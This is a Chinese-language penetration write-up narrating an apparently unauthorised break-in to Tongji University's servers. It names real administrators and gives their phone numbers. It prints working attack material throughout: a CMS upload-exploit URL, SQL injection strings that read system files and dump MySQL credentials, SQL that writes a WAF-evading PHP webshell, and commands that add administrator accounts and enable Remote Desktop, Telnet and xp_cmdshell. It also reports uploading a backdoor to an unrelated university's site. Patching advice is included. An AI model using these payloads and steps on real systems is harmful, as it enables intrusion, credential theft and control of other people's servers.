目标:同济大学 域名:www.tongji.edu.cn
1.2 Whois 查询
网段: 202.120.176.0 - 202.120.191.255
管理员联系:
Cui , Zijun (ZC3-CN)
+86-21-6598-9006
技术人员联系:
Wang , Zhengping (ZW2-CN)
+86 21 65025080 ext. 2840
最后更新记录在 19970627
记录于 19970627
dns.tongji.edu.cn 202.120.191.30
dns1.tongji.edu.cn 202.120.191.208
1.3 Mail:收集
Mail服务器:http://mail.tongji.edu.cn
碰过很多用邮箱前辍做密码的.
分布这个网段:202.120.189.3-202.120.189.255C段全部是WEB应用
同服网站:
http://www.tongji.edu.cn
http://news.tongji.edu.cn
http://gandong.tongji.edu.cn
http://photo.tongji.edu.cn
2. 扫描
nmap:
nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v www.tongji.edu.cn
返回:
80/tcp open http nginx 1.0.8
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: \xE6\xAC\xA2\xE8\xBF\x8E\xE8\xAE\xBF\xE9\x97\xAE\xE5\x90\x8C\xE6\x
B5\x8E\xE5\xA4\xA7\xE5\xAD\xA6\xE4\xB8\xBB\xE9\xA1\xB5
nix 只对外开放一个80 信息收集的差不多这后 由于主站只开放一个WEB应用 。
只好转战WEB上来
3.web评估
首先使用首先使用Wet工具对镜点进行镜像:
爬完网站后,在网站目录结构下找到在一个叫SC的目录,该目录下找到一个asp的网站 测试一下了也没存在漏洞 还调用了防注入程序。
过滤GET POST COOKIE 提交过来的数据 主站无果 旁站也没有可拿到shell的漏洞,现在只好渗透分站了
找到一个Ip:202.120.189.3 此站服务器上只有一个站点 初步估计权限会很大 好提权 好吧 就它了
先测试注入:提交单引号:http://celiang.tongji.edu.cn/clwww/shownews.asp?id=65’
居然玩跳转了:
这个跳转也暴露了,它网站使用的程序,是一套asp的cms,w78cms,估计大家都很熟悉,国内用的比较多吧.
这套程序存在一个上传漏洞,以下是分析过程:
Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sCusDir = Trim(Request.QueryString("cusdir"))
sParamSYFlag = Trim(Request.QueryString("syflag"))
sCusDir = Replace(sCusDir, "\", "/")
If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir, "./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then
sCusDir = ""
'这里程序员只考虑到了跨目录的问题
End If
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("parent.UploadError('style')")
End If
sBaseUrl = aStyleConfig(19)
nUploadObject = Clng(aStyleConfig(20))
nAutoDir = CLng(aStyleConfig(21))
sUploadDir = aStyleConfig(3)
If sBaseUrl<>"3" Then
If Left(sUploadDir, 1) <> "/" Then
sUploadDir = "../" & sUploadDir
End If
End If
Select Case sBaseUrl
Case "0", "3"
sContentPath = aStyleConfig(23)
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
If sBaseUrl<>"3" Then
sUploadDir = Server.Mappath(sUploadDir) ‘这里创建目录
End If
If Right(sUploadDir,1)<>"\" Then
sUploadDir = sUploadDir & "\"
End If
很明显 程序员只考虑到跨目录的漏洞 没有过滤点号 最后创目录 结合IIS解析漏洞 导致漏洞形成。
漏洞修复方法:sCusDir = Replace(sCusDir, ".", "")
漏洞利用:
http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp
时程序会在uploadfile 目下创建一个名为Zvall.asp的文件夹
在利用这个HTML上传吧
传WEB后门发现服务器已被攻陷 有administrator组admin$帐号一枚,并且发现服务器支持JSP 默认是SYSTEM权限,
ipconfig /all后发现服务器有4张网卡 其中一张是VirtualBox虚拟网卡.
多网段意味着渗透的空间更大,执行net user Administrator命令后发现:管理员的最后登录时间为2012-8-14 7:00
看来服务器管理员经常来服务器 在查看了下administrator的桌面发现个bat
内容为:
ipconfig /release
ipconfig /renew
可以看出服务器的某张网卡采取的是dhcp方式
初步猜测管理员可能不是小白 所以类似进服务器桌面操作看起来有点不可取
但又没办法只好挂上一个VPN加一个跳板 再添加管理帐号
再用lcx.exe 转发端口
网络连接信息:
执行ipconfig /all:后发现有如下网段
网段1: 10.10.203.*
网段2: 192.168.0.*
网段3: 169.254.* DHCP
首先渗透 网段2:
先破系统hash为:gisgp** 由于服务器上装了chrome浏览器所以读读密码吧,例如上网上时表单的密码。不过运气并没有眷故我,没有读出密码在读其实WEB程序配置文件时发现本机的MSSQL存在一个弱口令 sa/password,由于没有将1433映射到公网所以降低了被渗透的风险
网卡2:ip为 192.168.0.11
在枚举时发现192.168.0.12与192.168.0.11的Ntpass密码一样 果断连接ipc$
又现sql 弱口令一枚 看来这个管理员安全意低, 同时网段1 ip 为: 10.10.203.70 OS:windows xp 存在NT弱口令。
简单测试了一下这个网段存在以下问题
到了这步 首先利用WMI 给服务器开telnet,服务器是ip: 192.168.0.12 OS:windows 2000
再telnet里 添加帐号 net user Zvall Zvall/add& net localgroup administrators Zvall /add
由于服务器3389没有打开 加之是windows 2000 网上的那些开3389的脚本都要重启
这里我想了一个不用重启的方法出来了脚本如下:
echo [Components] > c:\Zvall
echo TSEnable = on >> c:\Zvall
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\Zvall /q
执行以上脚本后无需重启即开3389 成功 good
哎 只有两三台服务器出搞了个domain,简直了:
由于此段只有几个IP 只好换网段再渗透:
现在目标定在:192.168.0.250.* 这个段上
首先收集内网中存活的IP:
Nmap -sP 192.168.o.o/24
在使用SuperScanner 扫C段常见的应用:
在观察端口时发现 192.168.250.3 服务器上的WEB应用程序属于开源程序BBS程序KBS
KBS bbs 是由C语言+php编写而成 于是下了源码分析了一下,发现存在一个上传漏洞
C代码 源码分析:
PHP_FUNCTION(bbs_upload_add_file)
{
char *filename, *ofilename;
int flen, oflen, ret;
if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) == FAILURE) {
WRONG_PARAM_COUNT;
}
if (!flen || !oflen) {
RETURN_ERROR(GENERAL);
}
ret = upload_add_file(filename, ofilename, getSession());
switch (ret) {
case -1:
RETURN_ERROR(GENERAL);
break;
case -2:
RETURN_ERROR(ATTACH_CLIMIT);
break;
case -3:
RETURN_ERROR(ATTACH_INVALIDNAME);
break;
case -4:
RETURN_ERROR(ATTACH_DUPNAME);
break;
case -5:
RETURN_ERROR(GENERAL);
break;
case -6:
RETURN_ERROR(ATTACH_SLIMIT);
break;
default:
RETURN_LONG(0);
break;
}
}
upload_add_file:
int upload_add_file(const char *filename, char *original_filename, session_t *session)
{
int ret = upload_add_file_helper(filename, original_filename, session);
if (ret) unlink(filename);
return(ret);
}
upload_add_file_helper:
static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session)
{
struct ea_attach_info ai[MAXATTACHMENTCOUNT];
char attachdir[MAXPATH], attachfile[MAXPATH];
FILE *fp;
char buf[256];
int i, n, len;
int totalsize=0;
char *pos1, *pos2;
struct stat stat_buf;
n = upload_read_fileinfo(ai, session);
if (n >= MAXATTACHMENTCOUNT)
return -2;
pos1 = strrchr(original_filename, '\\');
pos2 = strrchr(original_filename, '/');
if (pos1 && pos2) {
if (pos1 < pos2) pos1 = pos2;
original_filename = pos1 + 1;
} else {
pos1 = pos1 ? pos1 : pos2;
if (pos1) original_filename = pos1 + 1;
}
len = strlen(original_filename);
if (!len)
return -3;
if (len > 60) {
original_filename += (len-60);
if (original_filename[-1] & 0x80) {
original_filename++;
}
}
filter_upload_filename(original_filename); //过滤跨站字符
for (i=0;icurrentuser, PERM_SYSOP) && totalsize > MAXATTACHMENTSIZE) return -6;
getattachtmppath(attachdir, MAXPATH, session);
mkdir(attachdir, 0700);
snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir, (int)(time(NULL)%10000), rand()%10000);
f_mv(filename, attachfile);
snprintf(buf, sizeof(buf), "%s %s\n", attachfile, original_filename);
snprintf(attachfile, MAXPATH, "%s/.index", attachdir);
if ((fp = fopen(attachfile, "a")) == NULL)
return -1;
fprintf(fp, "%s", buf);
fclose(fp);
return(0);
}
整个过程都没有检测上传文件类型,只过滤了一些跨站字符
首先在BBS上注册一个帐号
上传地址为: http://bbs.tongji.edu.cn/bbsupload.php?act=add
print `ls -la`;
?>
上传这个文件后突然发现访问不了网站了,上传txt又可以果然是WAF在作怪啊
据以往渗透的经验来看 初步估计192.168.250.* 这个网段有一台WAF
明显是检测 关键字 ,大概过了5分钟 左右 发现可以访问了
又上传一个传的文件 print 'Zvall';?> ,此时WAF又中断了访问,看来是WAF检测了后辍名了。 再上传一个txt 返回正常
为了证明此漏洞的存在,我在网上找了个大学BBS站测试了一下,并成功上传php后门。
漏洞修复方法:使用白名单方式过滤filename ,把 Filepath定义成常量
到了这步只好继续看SuperScanner扫出的结果:
APPWEB 这不是嵌入式设备才有的么?
于是访问 192.168.250.254
果然是高级货Juniper SRX3600 大学有钱呀
呵呵 难怪搞这个这么昂贵的设备呀 因为此网段全是WEB应用,现在只好继续查找其它WEB应用。
继续找到一个IP存在一个猪肉点 192.168.250.13
用的Asp.net程序存在 SA 权限 注点一个 数据库为: Mssql2008
提交:
http://gonghui.tongji.edu.cn/WebSite1/Public/NewsDetail.aspx?lastestnewsid=638+and+user>0
返回:
返回正常 当前是SA 由于mssql2008默认没有开启xp_cmdshell 所以还得开启它才执行命令,以用如下语句开启:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
再利用Pangolin执行命令
再直接来开3389 加管理员
执行REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
执行完后 发现3389端口并没有打开
执行shutdown -r -t 0 返回: 计算机已经锁定而且不使用强制选项无法关机。(1271)
那就只有把管理员注销掉执行query user 返回
枚举会话名时的错误 0x000006A6
错误[1702]:绑定句柄无效
哎 由于不知道管理员的会话ID 所以无法去注销了
现在只好开启telnet服务了
执行:
sc config tlntsvr start= auto
net start telnet
再加管理员
此时:192.168.250.13被成功攻陷
总结一下WEB程序漏洞修复方法:
Asp.net程序注入防护:
1.对用户传入的值进行强制类型转换
2.使用正则表达式验证控件对用户传入的值进行长度进行限制
3.对SQL语句使用命令参数方式
最后的渗透 --突破WAF
在继续查找此网段的WEB应用漏洞时,发现mba.tongji.edu.cn 这个站php写的
存在一个字符型mysql注入点,提交一个单引号后爆出绝对路径,后来发现不能用order by 语句
分析下SQL语句:
有两个 order by
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111'/*--*/union+select/*--*/null,null,null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='
返回正常
提交:
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111'/*--*/union/*--*/select/*--*/null,user(),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='
返回:tongjicase@localhost
Mysql版本为:5.0.19-nt
测试读文件权限:
提交:
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111'/*--*/union/*--*/all/*--*/select/*--*/null,concat(0x7e,0x27,load_file(0x433A5C626F6F742E696E69),0x27,0x7e),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='
成功返回boot.ini文件
Into outfile Shell 写shell时发现失败,之前扫WEB目录时发现有phpmyadmin程序
在提交:
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111111'/*--*/union/*--*/all/*--*/select/*--*/NULL,(select+concat(0x7e,0x27,unhex(Hex(cast(user+as+char))),0x3a,unhex(Hex(cast(password/*--*/as/*--*/char))),0x3a,unhex(Hex(cast(host/*--*/as/*--*/char))),0x27,0x7e)/*--*/from/*--*/mysql.user/*--*/limit/*--*/1,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/*--*/and/*--*/''='
成功读出mysql root密码 破出其mysql HASH后 登录phpmyadmin
再执行以下sql写shell;
create table tmp(cmd TEXT);
insert into tmp values('Zvall][tmp_name],$_FILES[Zvall][name]);?>');select * from tmp into outfile 'E:\\Apache\\www\\system\\database\\ss2.php'; drop table tmp;
在本地上传文件时 WAF 毫不留情的中断了俺的访问
再次尝试执行;
create table tmp(cmd TEXT); insert into tmp values('');select * from tmp into outfile 'E:\\Apache\\www\\system\\database\\ss2.php'; drop table tmp;
放在菜刀里执行后 WAF 再次中断了我的访问
在市面上找了一些免杀的一句话 后还是过不了WAF这关呀
于是自己动手写了个小后门:
$bar = 's'.'y'.'s'.'t'.'e'.'m';
$gt = '_'.'G'.'E'.'T';
$bar(${$gt}['cmd']);?>
$bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?>
reate table tmp(cmd TEXT);
insert into tmp values('$bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?>
');select * from tmp into outfile 'E:\\Apache\\www\\Zvall.php'; drop table tmp;
访问:http://mba.tongji.edu.cn/Zvall.php?cmd=whoami 执行whoami命令
返回 nt authority\system,SYSTEM权限
在执行http://mba.tongji.edu.cn/Zvall.php?cmd=dir时发现了一个意思的东东
最后导致服务器攻陷的原因终根结底还是WEB应用程序漏洞所致
下面是漏洞程序分析:
类似这样的URL:http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111
都是基于路由模式
调用page.php中的pagedetail方法:
php源码审核:function __construct(){
parent::__construct();
$this->load->helper('url');
$this->load->model('Page_Info_Model');
$this->load->helper('UtilClass');
}
public function pagedetail(){
$id = Util::getPar('id');
$where = "`id` = '".$id."'";
$info = $this->Page_Info_Model->getInfo($where);
//顶级页面 顶级下所有页面
$topinfo = $this->Page_Info_Model->getTopInfo($id);
$infos = $this->Page_Info_Model->getChilds($topinfo['id']);
$result = array();
$result['info'] = $info;
$result['topinfo'] = $topinfo;
$result['infos'] = $infos;
$this->load->view('pagedetail', $result);
}
Util类Getpar 方法:
class Util{
public static function getPar($name){
if(!empty($_GET[$name])){
return $_GET[$name];
}elseif(!empty($_POST[$name])){
return $_POST[$name];
}elseif(!empty($_SESSION[$name])){
return $_SESSION[$name];
}elseif(!empty($_COOKIE[$name])){
return $_COOKIE[$name];
}else{
return null;
}
}
漏洞修复方法:
1.WEB程序修复:
$id = (int)Util::getPar('id');
2.服务端设置建议
1.Phpmyadmin 不要放在WEB 根目录 将其改名
2.给apache mysql 降权 以低权限运行
3.给WEB 设置访问权限 禁用一些php危险函数如:System.shell_exec
4.3389端口映射到公网时。把端口改掉
总结
总结下各网段网络管理员的管理范畴中的不善:
网段1 :192.168.250.*
1.WAF 配置不当
2. WEB 应用程序漏洞
网段2: 10.10.203.*
3.WEB应程序漏洞
网段3:192.168.0.*
1.无软防 与硬防
2口令存取机制 通用密码
3.WEB应用程序漏洞
安全建议:
1.设备安全
渗透其它网段
建议设置强壮的密码, 不要使用QQ 生日 论坛 的帐号 密码做服务器密码
不要使用通用密码
定时更新系统补丁 以防 0day 提权漏洞
权限设置
由于WEB 应用多. 建议重新部署WAF的检测机制
EOF
---------------------------------------------------------------------------------------------------------------------------